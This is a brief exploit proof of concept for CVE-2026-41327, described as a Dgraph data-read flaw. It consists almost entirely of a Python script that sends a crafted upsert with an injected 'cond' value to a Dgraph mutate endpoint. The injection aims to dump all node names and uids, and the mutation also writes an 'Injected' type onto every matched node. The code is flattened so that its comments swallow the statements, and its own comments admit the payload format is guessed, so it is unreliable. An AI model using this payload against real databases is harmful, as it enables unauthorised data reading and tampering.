CVE-2026-41327 Dgraph数据读取漏洞

import requests # Target configuration target_url = "http://localhost:8080/mutate?commitNow=true" # The vulnerability resides in the 'cond' field of an upsert mutation. # We inject a DQL query block to read data (e.g., list all nodes). # The injection bypasses escaping because the value is concatenated directly. # Payload structure based on the description payload = { "query": """ upsert { query { # Dummy query to satisfy the parser structure v as var(func: has(name)) } mutation { # The 'cond' parameter is where the injection happens. # We attempt to close the existing condition and inject a new query block. set { uid(v) <dgraph.type> "Injected" . } } } """, # If the API accepts a separate 'cond' parameter that gets embedded: # This simulates the crafted cond field mentioned in the CVE. "vars": {"$cond": "} @filter(has(name)) { result as func: uid(v) } all_data(func: uid(result)) { name uid } #"} } # Note: The exact JSON structure depends on the Dgraph API version, # but the vulnerability is triggered by the content of the 'cond' field. try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check response for leaked data.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")